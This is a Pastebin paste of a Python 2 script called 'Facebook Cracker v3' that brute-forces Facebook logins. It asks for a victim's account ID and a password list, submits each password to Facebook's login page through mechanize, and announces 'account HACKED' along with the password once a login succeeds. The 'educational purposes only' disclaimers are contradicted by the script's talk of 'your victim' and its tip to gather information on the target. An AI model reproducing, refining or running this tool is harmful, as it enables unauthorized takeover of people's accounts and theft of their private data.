Advertisement
Guest User

Untitled

a guest
May 24th, 2016
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.98 KB | None | 0 0
  1. #!usr/bin/python
  2.  
  3. #Facebook Cracker Version 3 can crack into Facebook Database 100% without Interruption By Facebook Firewall !
  4.  
  5. #This program is for educational purposes only.
  6.  
  7. #Don't attack people facebook accounts it's illegal !
  8.  
  9. #If you want to crack into someone's account, you must have the permission of the user.
  10.  
  11. #Mauritania Attacker is not responsible.
  12.  
  13.  
  14.  
  15.  
  16.  
  17. import sys
  18.  
  19. import random
  20.  
  21. import mechanize
  22.  
  23. import cookielib
  24.  
  25.  
  26.  
  27.  
  28.  
  29. GHT = '''
  30.  
  31. +=======================================+
  32.  
  33. |..........Facebook Cracker v 3.........|
  34.  
  35. +---------------------------------------+
  36.  
  37. |#Author: isdo213 |
  38.  
  39. |#Contact: www.fb.com/3a9liadeux |
  40.  
  41. |#Date: 01/01/2015 |
  42.  
  43. |#this tools just for test |
  44.  
  45. |#i dont' need the opportunity to hack |
  46.  
  47. |i creat the opportunity , i'm isdo213 |
  48.  
  49. |#Respect C0d3rz |
  50.  
  51. |# i love all my friend's |
  52.  
  53. | Younes - Mustapha - nouri - salah_007|
  54.  
  55. +=======================================+
  56.  
  57. |..........Facebook Cracker v 3.........|
  58.  
  59. +---------------------------------------+
  60.  
  61. '''
  62.  
  63. print "Note: - This tool can crack facebook account even if you don't have the email of your victim"
  64.  
  65. print "# Hit CTRL+C to quit the program"
  66.  
  67. print "# Use www.graph.facebook.com for more infos about your victim ^_^"
  68.  
  69.  
  70.  
  71.  
  72.  
  73. email = str(raw_input("# id of victime : "))
  74.  
  75. passwordlist = str(raw_input("xD : "))
  76.  
  77.  
  78.  
  79. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  80.  
  81.  
  82.  
  83.  
  84.  
  85.  
  86.  
  87. login = 'https://www.facebook.com/login.php?login_attempt=1'
  88.  
  89. def attack(password):
  90.  
  91.  
  92.  
  93. try:
  94.  
  95. sys.stdout.write("\r[*] trying %s.. " % password)
  96.  
  97. sys.stdout.flush()
  98.  
  99. br.addheaders = [('User-agent', random.choice(useragents))]
  100.  
  101. site = br.open(login)
  102.  
  103. br.select_form(nr=0)
  104.  
  105.  
  106.  
  107.  
  108.  
  109. ##Facebook
  110.  
  111. br.form['email'] =email
  112.  
  113. br.form['pass'] = password
  114.  
  115. br.submit()
  116.  
  117. log = br.geturl()
  118.  
  119. if log != login:
  120.  
  121. print "\n\n\n [*] account HACKED BY isdo213 .. !!"
  122.  
  123. print "\n [*] Password : %s\n" % (password)
  124.  
  125. sys.exit(1)
  126.  
  127. except KeyboardInterrupt:
  128.  
  129. print "\n[*] Exiting program .. "
  130.  
  131. sys.exit(1)
  132.  
  133.  
  134.  
  135. def search():
  136.  
  137. global password
  138.  
  139. for password in passwords:
  140.  
  141. attack(password.replace("\n",""))
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149. def check():
  150.  
  151.  
  152.  
  153. global br
  154.  
  155. global passwords
  156.  
  157. try:
  158.  
  159. br = mechanize.Browser()
  160.  
  161. cj = cookielib.LWPCookieJar()
  162.  
  163. br.set_handle_robots(False)
  164.  
  165. br.set_handle_equiv(True)
  166.  
  167. br.set_handle_referer(True)
  168.  
  169. br.set_handle_redirect(True)
  170.  
  171. br.set_cookiejar(cj)
  172.  
  173. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  174.  
  175. except KeyboardInterrupt:
  176.  
  177. print "\n[*] Exiting program ..\n"
  178.  
  179. sys.exit(1)
  180.  
  181. try:
  182.  
  183. list = open(passwordlist, "r")
  184.  
  185. passwords = list.readlines()
  186.  
  187. k = 0
  188.  
  189. while k < len(passwords):
  190.  
  191. passwords[k] = passwords[k].strip()
  192.  
  193. k += 1
  194.  
  195. except IOError:
  196.  
  197. print "\n [*] Error: check your password list path \n"
  198.  
  199. sys.exit(1)
  200.  
  201. except KeyboardInterrupt:
  202.  
  203. print "\n [*] Exiting program ..\n"
  204.  
  205. sys.exit(1)
  206.  
  207. try:
  208.  
  209. print GHT
  210.  
  211. print " [*] Account to crack : %s" % (email)
  212.  
  213. print " [*] Loaded :" , len(passwords), "passwords"
  214.  
  215. print " [*] Cracking, please wait ..."
  216.  
  217. except KeyboardInterrupt:
  218.  
  219. print "\n [*] Exiting program ..\n"
  220.  
  221. sys.exit(1)
  222.  
  223. try:
  224.  
  225. search()
  226.  
  227. attack(password)
  228.  
  229. except KeyboardInterrupt:
  230.  
  231. print "\n [*] Exiting program ..\n"
  232.  
  233. sys.exit(1)
  234.  
  235.  
  236.  
  237. if __name__ == '__main__':
  238.  
  239. check()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement